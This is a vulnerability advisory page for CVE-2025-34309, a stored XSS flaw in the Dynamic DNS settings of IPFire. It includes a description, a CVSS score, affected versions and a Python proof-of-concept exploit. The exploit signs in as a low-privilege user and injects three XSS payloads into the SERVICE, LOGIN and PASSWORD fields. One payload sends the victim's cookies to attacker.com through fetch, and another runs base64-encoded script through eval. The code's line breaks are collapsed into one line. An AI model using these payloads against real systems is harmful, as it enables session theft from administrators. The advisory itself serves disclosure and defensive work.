Security Vulnerability Report
中文
CVE-2025-34309 CVSS 5.4 MEDIUM

CVE-2025-34309

Published: 2025-10-28 15:16:11
Last Modified: 2025-11-03 17:01:58

Description

IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code through the SERVICE, LOGIN, and PASSWORD parameters when creating or editing a Dynamic DNS host. When a new Dynamic DNS host is added, the application issues an HTTP POST request to /cgi-bin/ddns.cgi and saves the values of the LOGIN, PASSWORD, and SERVICE parameters. The SERVICE value is displayed after the host entry is created, and the LOGIN and PASSWORD values are displayed when that host entry is edited. The values of these parameters are stored and later rendered in the web interface without proper sanitation or encoding, allowing injected scripts to execute in the context of other users who view or edit the affected Dynamic DNS entries.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:* - VULNERABLE
IPFire < 2.29 Core Update 198

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-34309 PoC - IPFire Stored XSS via Dynamic DNS # Target: IPFire < 2.29 Core Update 198 target = sys.argv[1] if len(sys.argv) > 1 else "http://target-ipfire.local" # XSS payload for SERVICE parameter xss_payload_service = '<script>alert(document.cookie)</script>' xss_payload_login = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie) />' xss_payload_password = '<svg onload=eval(atob("YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ==")) />' # Login credentials (low-privilege user) auth = { 'username': 'lowpriv_user', 'password': 'password123' } # Create session and authenticate session = requests.Session() login_url = f"{target}/cgi-bin/login.cgi" resp = session.post(login_url, data=auth) if resp.status_code == 200: # Exploit: Add Dynamic DNS host with XSS payload ddns_url = f"{target}/cgi-bin/ddns.cgi" exploit_data = { 'SERVICE': xss_payload_service, 'LOGIN': xss_payload_login, 'PASSWORD': xss_payload_password, 'hostname': 'test.dyndns.org', 'action': 'add' } resp = session.post(ddns_url, data=exploit_data) if resp.status_code == 200: print('[+] XSS payload injected successfully') print('[+] Payload will execute when victim views Dynamic DNS settings') else: print('[-] Exploitation failed') else: print('[-] Authentication failed')

References

Raw JSON Data

JSON
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